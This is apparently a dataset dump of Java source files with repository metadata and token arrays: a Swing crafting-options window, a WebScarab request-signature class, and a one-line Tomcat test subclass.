1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 7,144
| true
| 65.673987
| true
| true
|
GUICraftingOptions.java
|
/FileExtraction/Java_unseen/DeltaBreaker_Lolorito/src/com/github/deltabreaker/gui/GUICraftingOptions.java
|
package com.github.deltabreaker.gui;
import java.awt.Dimension;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import javax.swing.JCheckBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JSlider;
import javax.swing.event.ChangeEvent;
import javax.swing.event.ChangeListener;
import com.github.deltabreaker.data.Recipe;
import com.github.deltabreaker.main.Startup;
public class GUICraftingOptions extends JFrame {
private static final long serialVersionUID = 720612920061634644L;
private static final String WINDOW_TITLE = "Lolorito - Crafting Options";
public static boolean[] enabledCrafters;
public static int maxLevel;
public static boolean includeExpert = true;
public static boolean includeSpecialist = true;
private static int uiWidth = 275;
private static Dimension windowSize = new Dimension(uiWidth * 2 + 55, 0);
public GUICraftingOptions(GUIMain parent) {
parent.setEnabled(false);
setTitle(WINDOW_TITLE);
setIconImage(Startup.ICON.getImage());
setDefaultCloseOperation(DISPOSE_ON_CLOSE);
setSize(windowSize);
setResizable(false);
setLayout(null);
setLocationRelativeTo(null);
setSize(getWidth(), enabledCrafters.length * 30 + 100);
addWindowListener(new WindowAdapter() {
@Override
public void windowClosed(WindowEvent e) {
parent.setEnabled(true);
parent.refreshResults();
parent.requestFocus();
}
});
JLabel typesLabel = new JLabel("Crafter Types");
typesLabel.setBounds(20, 5, uiWidth, 20);
typesLabel.setHorizontalAlignment(JLabel.LEFT);
add(typesLabel);
JScrollPane typeScrollPane = new JScrollPane(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED,
JScrollPane.HORIZONTAL_SCROLLBAR_NEVER);
typeScrollPane.setBounds(20, 30, uiWidth, enabledCrafters.length * 30 + 10);
typeScrollPane.setAlignmentY(JScrollPane.RIGHT_ALIGNMENT);
add(typeScrollPane);
JPanel typePane = new JPanel();
typePane.setPreferredSize(new Dimension(uiWidth, enabledCrafters.length * 30));
typePane.setLayout(null);
typeScrollPane.setViewportView(typePane);
JCheckBox[] types = new JCheckBox[enabledCrafters.length];
for (int i = 0; i < types.length; i++) {
JLabel label = new JLabel(Recipe.CRAFT_TYPES[i]);
label.setBounds(10, 5 + 30 * i, uiWidth - uiWidth / 3, 20);
label.setAlignmentX(JLabel.LEFT_ALIGNMENT);
typePane.add(label);
types[i] = new JCheckBox();
types[i].setBounds(uiWidth - 45, 10 + i * 30, 20, 20);
types[i].setSelected(enabledCrafters[i]);
int loc = i;
types[i].addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
enabledCrafters[loc] = types[loc].isSelected();
}
});
typePane.add(types[i]);
}
JLabel levelLabel = new JLabel("Maximum Recipe Level: " + maxLevel);
levelLabel.setBounds(uiWidth + 20, 5, uiWidth, 20);
levelLabel.setHorizontalAlignment(JLabel.CENTER);
add(levelLabel);
JSlider level = new JSlider();
level.setBounds(uiWidth + 20, 30, uiWidth, 20);
level.setMinimum(1);
level.setMaximum(Recipe.getMaxLevel());
level.setValue(maxLevel);
level.addChangeListener(new ChangeListener() {
@Override
public void stateChanged(ChangeEvent e) {
maxLevel = level.getValue();
levelLabel.setText("Maximum Recipe Level: " + maxLevel);
}
});
add(level);
JLabel expertLabel = new JLabel("Include Expert Recipes");
expertLabel.setBounds(uiWidth + 60, 50, uiWidth, 20);
expertLabel.setHorizontalAlignment(JLabel.CENTER);
expertLabel.setHorizontalAlignment(JLabel.LEFT);
add(expertLabel);
JCheckBox expert = new JCheckBox();
expert.setBounds(uiWidth + 30, 50, 20, 20);
expert.setSelected(includeExpert);
expert.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
includeExpert = expert.isSelected();
}
});
add(expert);
JLabel specialistLabel = new JLabel("Include Specialist Recipes");
specialistLabel.setBounds(uiWidth + 60, 80, uiWidth, 20);
specialistLabel.setHorizontalAlignment(JLabel.CENTER);
specialistLabel.setHorizontalAlignment(JLabel.LEFT);
add(specialistLabel);
JCheckBox specialist = new JCheckBox();
specialist.setBounds(uiWidth + 30, 80, 20, 20);
specialist.setSelected(includeSpecialist);
specialist.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
includeSpecialist = specialist.isSelected();
}
});
add(specialist);
setLocationRelativeTo(null);
setVisible(true);
}
}
| 4,669
|
Java
|
.java
|
DeltaBreaker/Lolorito
| 27
| 4
| 0
|
2022-06-19T07:16:03Z
|
2023-03-25T05:50:25Z
|
5c1248390d55d23ba2015beb992eb519fc5fd22cdf9c51692d06eeec2fdc250b
|
[
1337,
785,
51,
951,
51,
32632,
380,
1268,
284,
51,
8472,
64,
222,
222,
485,
1401,
51,
8236,
51,
9884,
64,
222,
485,
1401,
51,
8236,
51,
1585,
51,
18126,
64,
222,
485,
1401,
51,
8236,
51,
1585,
51,
17317,
64,
222,
485,
1401,
51,
8236,
51,
1585,
51,
1684,
4433,
64,
222,
485,
1401,
51,
8236,
51,
1585,
51,
1684,
1167,
64,
222,
222,
485,
3698,
51,
5934,
51,
79,
13592,
64,
222,
485,
3698,
51,
5934,
51,
79,
2163,
64,
222,
485,
3698,
51,
5934,
51,
22786,
64,
222,
485,
3698,
51,
5934,
51,
32273,
64,
222,
485,
3698,
51,
5934,
51,
79,
29314,
64,
222,
485,
3698,
51,
5934,
51,
4638,
113,
1411,
64,
222,
485,
3698,
51,
5934,
51,
1585,
51,
25211,
64,
222,
485,
3698,
51,
5934,
51,
1585,
51,
17089,
64,
222,
222,
485,
785,
51,
951,
51,
32632,
380,
1268,
284,
51,
624,
51,
16262,
64,
222,
485,
785,
51,
951,
51,
32632,
380,
1268,
284,
51,
1850,
51,
19818,
64,
222,
222,
942,
462,
26147,
1122,
3897,
318,
2045,
2041,
990,
2163,
320,
499,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
60,
55,
53,
59,
54,
55,
62,
55,
53,
53,
59,
54,
59,
56,
57,
59,
57,
57,
81,
64,
222,
221,
2072,
924,
1175,
910,
33881,
92,
100,
13772,
299,
332,
81,
381,
290,
4736,
449,
34172,
318,
11027,
884,
499,
221,
942,
924,
1922,
1197,
5892,
9719,
5497,
120,
64,
222,
221,
942,
924,
648,
1788,
2671,
64,
222,
221,
942,
924,
1922,
2323,
589,
1681,
299,
878,
64,
222,
221,
942,
924,
1922,
2323,
11506,
446,
299,
878,
64,
499,
221,
2072,
924,
648,
7900,
2627,
299,
244,
55,
60,
58,
64,
222,
221,
2072,
924,
17432,
3240,
1269,
299,
556,
17432,
45,
1726,
2627,
338,
244,
55,
494,
244,
58,
58,
49,
244,
53,
312,
499,
221,
942,
26147,
1122,
3897,
318,
2045,
45,
10586,
4370,
2952,
46,
320,
376,
221,
2562,
51,
18822,
45,
1886,
312,
4102,
221,
17359,
45,
18393,
100,
13772,
312,
376,
221,
30587,
1675,
45,
19818,
51,
18566,
51,
25414,
1052,
376,
221,
27356,
4187,
3786,
45,
5988,
6856,
100,
586,
100,
18758,
312,
376,
221,
29572,
45,
3537,
1269,
312,
376,
221,
45997,
45,
1886,
312,
376,
221,
20113,
45,
1710,
312,
376,
221,
35853,
11776,
724,
45,
1710,
312,
376,
221,
29572,
45,
21398,
1046,
5892,
9719,
5497,
120,
51,
1340,
338,
244,
56,
53,
494,
244,
54,
53,
53,
312,
1332,
221,
688,
15274,
45,
909,
12016,
4433,
365,
320,
374,
221,
69,
1806,
374,
221,
942,
782,
3240,
13629,
45,
1684,
1167,
503,
46,
320,
621,
221,
2562,
51,
18822,
45,
1527,
312,
621,
221,
2562,
51,
8195,
5483,
492,
621,
221,
2562,
51,
1375,
8105,
492,
374,
221,
130,
376,
221,
1933,
1332,
221,
22786,
3756,
2186,
299,
556,
23731,
459,
9719,
5497,
13413,
742,
376,
221,
2529,
2186,
51,
36019,
45,
55,
53,
49,
244,
58,
49,
7900,
2627,
49,
244,
55,
53,
312,
376,
221,
2529,
2186,
51,
41069,
7759,
45,
22786,
51,
10779,
312,
376,
221,
688,
45,
2529,
2186,
312,
1332,
221,
79,
29314,
847,
29314,
299,
556,
990,
29314,
45,
79,
29314,
51,
34766,
100,
33573,
13495,
100,
1117,
100,
3585,
28617,
49,
621,
221,
79,
29314,
51,
31354,
100,
33573,
13495,
100,
3585,
1986,
312,
376,
221,
700,
29314,
51,
36019,
45,
55,
53,
49,
244,
56,
53,
49,
7900,
2627,
49,
5892,
9719,
5497,
120,
51,
1340,
338,
244,
56,
53,
494,
244,
54,
53,
312,
376,
221,
700,
29314,
51,
489,
7759,
94,
45,
79,
29314,
51,
6517,
100,
48320,
312,
376,
221,
688,
45,
700,
29314,
312,
1332,
221,
32273,
847,
7586,
299,
556,
22299,
492,
376,
221,
700,
7586,
51,
45046,
45,
909,
17432,
45,
1726,
2627,
49,
5892,
9719,
5497,
120,
51,
1340,
338,
244,
56,
53,
894,
376,
221,
700,
7586,
51,
20113,
45,
1710,
312,
376,
221,
700,
29314,
51,
489,
16659,
1089,
45,
700,
7586,
312,
1332,
221,
79,
13592,
1197,
3756,
299,
556,
990,
13592,
96,
6572,
9719,
5497,
120,
51,
1340,
988,
376,
221,
999,
327,
429,
613,
299,
244,
53,
64,
613,
350,
3756,
51,
1340,
64,
613,
2002,
320,
374,
221,
22786,
2300,
299,
556,
23731,
45,
16262,
51,
3769,
36991,
100,
15670,
96,
110,
2004,
374,
221,
1194,
51,
36019,
45,
54,
53,
49,
244,
58,
494,
244,
56,
53,
338,
613,
49,
7900,
2627,
449,
7900,
2627,
536,
244,
56,
49,
244,
55,
53,
312,
374,
221,
1194,
51,
489,
7759,
93,
45,
22786,
51,
10779,
100,
48320,
312,
374,
221,
700,
7586,
51,
688,
45,
1194,
312,
2556,
221,
2529,
96,
110,
98,
299,
556,
990,
13592,
492,
374,
221,
2529,
96,
110,
1015,
36019,
45,
1726,
2627,
449,
244,
57,
58,
49,
244,
54,
53,
494,
613,
338,
244,
56,
53,
49,
244,
55,
53,
49,
244,
55,
53,
312,
374,
221,
2529,
96,
110,
1015,
26623,
45,
6572,
9719,
5497,
120,
96,
110,
2004,
2556,
221,
429,
2600,
299,
613,
64,
374,
221,
2529,
96,
110,
1015,
24508,
45,
909,
41931,
365,
320,
621,
221,
69,
1806,
621,
221,
942,
782,
29546,
45,
18126,
503,
46,
320,
596,
221,
6572,
9719,
5497,
120,
96,
901,
98,
299,
3756,
96,
901,
1015,
34103,
492,
621,
221,
130,
374,
221,
1933,
374,
221,
700,
7586,
51,
688,
45,
2529,
96,
110,
2004,
376,
221,
130,
1332,
221,
22786,
3215,
2186,
299,
556,
23731,
459,
12739,
30750,
11587,
63,
332,
494,
1788,
2671,
312,
376,
221,
2675,
2186,
51,
36019,
45,
1726,
2627,
494,
244,
55,
53,
49,
244,
58,
49,
7900,
2627,
49,
244,
55,
53,
312,
376,
221,
2675,
2186,
51,
41069,
7759,
45,
22786,
51,
16562,
312,
376,
221,
688,
45,
2675,
2186,
312,
1332,
221,
4638,
113,
1411,
3215,
299,
556,
990,
12330,
492,
376,
221,
2675,
51,
36019,
45,
1726,
2627,
494,
244,
55,
53,
49,
244,
56,
53,
49,
7900,
2627,
49,
244,
55,
53,
312,
376,
221,
2675,
51,
36521,
45,
54,
312,
376,
221,
2675,
51,
34654,
45,
16262,
51,
23742,
2671,
1052,
376,
221,
2675,
51,
11534,
45,
1472,
2671,
312,
376,
221,
2675,
51,
688,
17089,
45,
909,
5621,
2239,
365,
320,
374,
221,
69,
1806,
374,
221,
942,
782,
1621,
3663,
45,
25211,
503,
46,
320,
621,
221,
1472,
2671,
299,
3215,
51,
6693,
492,
621,
221,
2675,
2186,
51,
6619,
459,
12739,
30750,
11587,
63,
332,
494,
1788,
2671,
312,
374,
221,
130,
376,
221,
1933,
376,
221,
688,
45,
2675,
312,
1332,
221,
22786,
30884,
2186,
299,
556,
23731,
459,
8518,
1300,
1681,
922,
21683,
742,
376,
221,
34119,
2186,
51,
36019,
45,
1726,
2627,
494,
244,
59,
53,
49,
244,
58,
53,
49,
7900,
2627,
49,
244,
55,
53,
312,
376,
221,
34119,
2186,
51,
41069,
7759,
45,
22786,
51,
16562,
312,
376,
221,
34119,
2186,
51,
41069,
7759,
45,
22786,
51,
10779,
312,
376,
221,
688,
45,
34119,
2186,
312,
1332,
221,
79,
13592,
30884,
299,
556,
990,
13592,
492,
376,
221,
34119,
51,
36019,
45,
1726,
2627,
494,
244,
56,
53,
49,
244,
58,
53,
49,
244,
55,
53,
49,
244,
55,
53,
312,
376,
221,
34119,
51,
26623,
45,
1032,
589,
1681,
312,
376,
221,
34119,
51,
24508,
45,
909,
41931,
365,
320,
374,
221,
69,
1806,
374,
221,
942,
782,
29546,
45,
18126,
503,
46,
320,
621,
221,
1032,
589,
1681,
299,
30884,
51,
34103,
492,
374,
221,
130,
376,
221,
1933,
376,
221,
688,
45,
34119,
312,
1332,
221,
22786,
7472,
446,
2186,
299,
556,
23731,
459,
8518,
17972,
446,
922,
21683,
742,
376,
221,
10105,
446,
2186,
51,
36019,
45,
1726,
2627,
494,
244,
59,
53,
49,
244,
61,
53,
49,
7900,
2627,
49,
244,
55,
53,
312,
376,
221,
10105,
446,
2186,
51,
41069,
7759,
45,
22786,
51,
16562,
312,
376,
221,
10105,
446,
2186,
51,
41069,
7759,
45,
22786,
51,
10779,
312,
376,
221,
688,
45,
10105,
446,
2186,
312,
1332,
221,
79,
13592,
7472,
446,
299,
556,
990,
13592,
492,
376,
221,
10105,
446,
51,
36019,
45,
1726,
2627,
494,
244,
56,
53,
49,
244,
61,
53,
49,
244,
55,
53,
49,
244,
55,
53,
312,
376,
221,
10105,
446,
51,
26623,
45,
1032,
11506,
446,
312,
376,
221,
10105,
446,
51,
24508,
45,
909,
41931,
365,
320,
374,
221,
69,
1806,
374,
221,
942,
782,
29546,
45,
18126,
503,
46,
320,
621,
221,
1032,
11506,
446,
299,
7472,
446,
51,
34103,
492,
374,
221,
130,
376,
221,
1933,
376,
221,
688,
45,
10105,
446,
312,
1332,
221,
35853,
11776,
724,
45,
1710,
312,
376,
221,
18215,
45,
1527,
312,
222,
221,
130,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,444
| true
| 72.028272
| true
| true
|
Signature.java
|
/FileExtraction/Java_unseen/OWASP_OWASP-WebScarab/src/org/owasp/webscarab/plugin/fuzz/Signature.java
|
/*
* Signature.java
*
* Created on 23 February 2005, 08:30
*/
package org.owasp.webscarab.plugin.fuzz;
import java.net.MalformedURLException;
import org.owasp.webscarab.model.Request;
import org.owasp.webscarab.model.HttpUrl;
import java.util.ArrayList;
import java.util.List;
/**
*
* @author rogan
*/
public class Signature {
private String _method;
private HttpUrl _url;
private String _contentType;
private Parameter[] _parameters;
/** Creates a new instance of Signature */
public Signature(Request request) {
_method = request.getMethod();
_url = request.getURL();
if (_url.getParameters() != null) _url = _url.getParentUrl();
_contentType = request.getHeader("Content-Type");
_parameters = Parameter.getParameters(request);
}
public Signature(String signature) throws MalformedURLException {
String[] parts = signature.split(" ");
_method = parts[0];
_url = new HttpUrl(parts[1]);
_contentType = parts[2].substring(1, parts[2].length()-1);
if (_contentType.equals("null"))
_contentType = null;
List<Parameter> parameters = new ArrayList<Parameter>();
for (int i=3; i<parts.length; i++) {
int colon = parts[i].indexOf(":");
String location = parts[i].substring(0, colon);
int left = parts[i].indexOf('(', colon);
String name = parts[i].substring(colon+1, left);
String type = parts[i].substring(left+1, parts[i].length()-1);
Parameter param = new Parameter(location, name, type, "");
parameters.add(param);
}
_parameters = parameters.toArray(Parameter.NO_PARAMS);
}
public String getMethod() {
return _method;
}
public HttpUrl getUrl() {
return _url;
}
public String getContentType() {
return _contentType;
}
public Parameter[] getParameters() {
return _parameters;
}
public String toString() {
StringBuffer buff = new StringBuffer();
buff.append(_method).append(" ").append(_url).append(" ");
buff.append("(").append(_contentType).append(")");
for (int i=0; i<_parameters.length; i++) {
buff.append(" ").append(_parameters[i].getLocation()).append(":").append(_parameters[i].getName());
buff.append("(").append(_parameters[i].getType()).append(")");
}
return buff.toString();
}
public boolean equals(Object obj) {
if (obj == null || !(obj instanceof Signature)) return false;
Signature that = (Signature) obj;
if (!_method.equals(that._method)) return false;
if (!_url.equals(that._url)) return false;
if (_contentType == null && that._contentType != null) return false;
if (_contentType != null && that._contentType == null) return false;
if (_contentType != null && !_contentType.equals(that._contentType)) return false;
if (_parameters.length != that._parameters.length) return false;
for (int i=0; i<_parameters.length; i++) {
if (! _parameters[i].equals(that._parameters[i])) return false;
}
return true;
}
}
| 3,279
|
Java
|
.java
|
OWASP/OWASP-WebScarab
| 598
| 226
| 1
|
2009-11-20T06:57:20Z
|
2021-08-13T18:20:59Z
|
5c1f81c56cd01aa5188a6a9f3a8b0f6d030f87325b79b394c4e6fb8867eb27a7
|
[
1127,
222,
338,
19766,
51,
1874,
222,
338,
222,
338,
6956,
563,
244,
55,
56,
42194,
244,
55,
53,
53,
58,
49,
244,
53,
61,
63,
56,
53,
222,
588,
222,
222,
1337,
1105,
51,
460,
11797,
51,
1857,
564,
26588,
51,
2809,
51,
24760,
64,
222,
222,
485,
1401,
51,
1317,
51,
36265,
45817,
64,
222,
485,
1105,
51,
460,
11797,
51,
1857,
564,
26588,
51,
1184,
51,
1123,
64,
222,
485,
1105,
51,
460,
11797,
51,
1857,
564,
26588,
51,
1184,
51,
2233,
2226,
64,
222,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
1350,
222,
338,
222,
338,
496,
2133,
244,
1138,
16136,
222,
588,
222,
942,
462,
19766,
320,
2205,
964,
910,
634,
1978,
64,
303,
964,
4699,
2226,
634,
983,
64,
303,
964,
910,
634,
20256,
64,
303,
964,
10922,
1197,
634,
5173,
64,
2205,
1041,
9308,
331,
556,
1998,
451,
19766,
588,
303,
581,
19766,
45,
1123,
1343,
46,
320,
310,
634,
1978,
299,
1343,
51,
27847,
492,
310,
634,
983,
299,
1343,
51,
390,
2427,
492,
310,
434,
4648,
983,
51,
43978,
365,
882,
762,
46,
634,
983,
299,
634,
983,
51,
18777,
2226,
492,
310,
634,
20256,
299,
1343,
51,
31007,
459,
1795,
50,
638,
742,
310,
634,
5173,
299,
10922,
51,
43978,
45,
1375,
312,
303,
339,
2205,
581,
19766,
45,
671,
8214,
46,
2589,
28886,
6023,
45817,
320,
310,
910,
1197,
8740,
299,
8214,
51,
3045,
459,
7173,
310,
634,
1978,
299,
8740,
96,
53,
988,
310,
634,
983,
299,
556,
4699,
2226,
45,
10043,
96,
54,
2004,
310,
634,
20256,
299,
8740,
96,
55,
1015,
8724,
45,
54,
49,
8740,
96,
55,
1015,
1340,
17681,
54,
312,
310,
434,
4648,
20256,
51,
3591,
459,
1710,
2152,
4310,
634,
20256,
299,
762,
64,
310,
1701,
65,
3026,
67,
3406,
299,
556,
5068,
65,
3026,
2938,
310,
456,
327,
429,
613,
66,
56,
64,
613,
65,
10043,
51,
1340,
64,
613,
2002,
320,
343,
648,
24904,
299,
8740,
96,
110,
1015,
7149,
17910,
742,
343,
910,
3913,
299,
8740,
96,
110,
1015,
8724,
45,
53,
49,
24904,
312,
343,
648,
2859,
299,
8740,
96,
110,
1015,
7149,
482,
12598,
24904,
312,
343,
910,
655,
299,
8740,
96,
110,
1015,
8724,
45,
30896,
48,
54,
49,
2859,
312,
343,
910,
847,
299,
8740,
96,
110,
1015,
8724,
45,
1892,
48,
54,
49,
8740,
96,
110,
1015,
1340,
17681,
54,
312,
343,
10922,
4380,
299,
556,
10922,
45,
2665,
49,
655,
49,
847,
49,
10780,
343,
3406,
51,
688,
45,
772,
312,
310,
339,
310,
634,
5173,
299,
3406,
51,
14315,
45,
3026,
51,
2593,
100,
17339,
312,
303,
339,
2205,
581,
910,
640,
1885,
365,
320,
310,
461,
634,
1978,
64,
303,
339,
2205,
581,
4699,
2226,
48017,
365,
320,
310,
461,
634,
983,
64,
303,
339,
2205,
581,
910,
640,
14257,
365,
320,
310,
461,
634,
20256,
64,
303,
339,
2205,
581,
10922,
1197,
640,
3694,
365,
320,
310,
461,
634,
5173,
64,
303,
339,
2205,
581,
910,
11349,
365,
320,
310,
21917,
20026,
299,
556,
21917,
492,
310,
20026,
51,
1713,
2191,
1978,
566,
1713,
459,
18267,
1713,
2191,
983,
566,
1713,
459,
7173,
310,
20026,
51,
1713,
459,
459,
566,
1713,
2191,
20256,
566,
1713,
459,
13365,
310,
456,
327,
429,
613,
66,
53,
64,
613,
17770,
5173,
51,
1340,
64,
613,
2002,
320,
343,
20026,
51,
1713,
459,
18267,
1713,
2191,
5173,
96,
110,
1015,
26716,
4269,
1713,
17910,
1912,
1713,
2191,
5173,
96,
110,
1015,
5175,
1052,
343,
20026,
51,
1713,
459,
459,
566,
1713,
2191,
5173,
96,
110,
1015,
10276,
4269,
1713,
459,
13365,
310,
339,
310,
461,
20026,
51,
3127,
492,
303,
339,
2205,
581,
1922,
12432,
45,
976,
2847,
46,
320,
310,
434,
327,
2085,
630,
762,
1293,
13687,
2085,
5118,
19766,
509,
461,
920,
64,
310,
19766,
708,
299,
327,
7790,
46,
2847,
64,
310,
434,
23335,
1978,
51,
3591,
45,
6942,
1132,
1978,
509,
461,
920,
64,
310,
434,
23335,
983,
51,
3591,
45,
6942,
1132,
983,
509,
461,
920,
64,
310,
434,
4648,
20256,
630,
762,
979,
708,
1132,
20256,
882,
762,
46,
461,
920,
64,
310,
434,
4648,
20256,
882,
762,
979,
708,
1132,
20256,
630,
762,
46,
461,
920,
64,
310,
434,
4648,
20256,
882,
762,
979,
33708,
20256,
51,
3591,
45,
6942,
1132,
20256,
509,
461,
920,
64,
310,
434,
4648,
5173,
51,
1340,
882,
708,
1132,
5173,
51,
1340,
46,
461,
920,
64,
310,
456,
327,
429,
613,
66,
53,
64,
613,
17770,
5173,
51,
1340,
64,
613,
2002,
320,
343,
434,
1445,
634,
5173,
96,
110,
1015,
3591,
45,
6942,
1132,
5173,
96,
110,
5310,
461,
920,
64,
310,
339,
310,
461,
878,
64,
303,
339,
294,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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omcat7ApplicationControllerTestIT.java
|
/FileExtraction/Java_unseen/end-of-game_cloudunit/cu-manager/src/test/java/fr/treeptik/cloudunit/servers/Tomcat7ApplicationControllerTestIT.java
|
/*
* LICENCE : CloudUnit is available under the Affero Gnu Public License GPL V3 : https://www.gnu.org/licenses/agpl-3.0.html
* but CloudUnit is licensed too under a standard commercial license.
* Please contact our sales team if you would like to discuss the specifics of our Enterprise license.
* If you are not sure whether the GPL is right for you,
* you can always test our software under the GPL and inspect the source code before you contact us
* about purchasing a commercial license.
*
* LEGAL TERMS : "CloudUnit" is a registered trademark of Treeptik and can't be used to endorse
* or promote products derived from this project without prior written permission from Treeptik.
* Products or services derived from this software may not be called "CloudUnit"
* nor may "Treeptik" or similar confusing terms appear in their names without prior written permission.
* For any questions, contact us : [email protected]
*/
package fr.treeptik.cloudunit.servers;
/**
* Created by nicolas on 18/09/15.
*/
public class Tomcat7ApplicationControllerTestIT extends AbstractApplicationControllerTestIT {
public Tomcat7ApplicationControllerTestIT()
{
super("tomcat-7");
}
}
| 1,249
|
Java
|
.java
|
end-of-game/cloudunit
| 156
| 60
| 1
|
2015-07-23T13:53:32Z
|
2017-12-14T11:16:22Z
|
83982ef0e174f1ac200c64f342ef56865a77c94065dc23eb87b37339024e8ff5
|
[
1127,
222,
338,
7471,
8317,
518,
7594,
3024,
458,
3322,
1549,
341,
30994,
590,
10024,
5062,
1196,
23508,
694,
56,
518,
1698,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
52,
500,
576,
50,
56,
51,
53,
51,
935,
222,
338,
281,
1294,
7594,
3024,
458,
14391,
5150,
1549,
331,
6244,
27630,
3553,
51,
222,
338,
281,
5304,
7272,
3027,
23343,
6507,
434,
863,
2285,
2144,
391,
23290,
341,
2835,
120,
451,
3027,
23417,
3553,
51,
222,
338,
281,
1691,
863,
904,
666,
3673,
4962,
341,
23508,
458,
2109,
456,
863,
49,
222,
338,
281,
863,
902,
5198,
913,
3027,
2951,
1549,
341,
23508,
480,
17878,
341,
1932,
1361,
2688,
863,
7272,
1790,
222,
338,
281,
2645,
16508,
9982,
331,
27630,
3553,
51,
222,
338,
222,
338,
281,
11805,
76,
744,
32616,
2758,
518,
332,
5577,
3024,
39,
458,
331,
10423,
16712,
1846,
451,
9393,
404,
1567,
480,
902,
1348,
545,
1674,
391,
21975,
222,
338,
281,
575,
19124,
10062,
12015,
664,
477,
2091,
2895,
9591,
6658,
6504,
664,
9393,
404,
1567,
51,
222,
338,
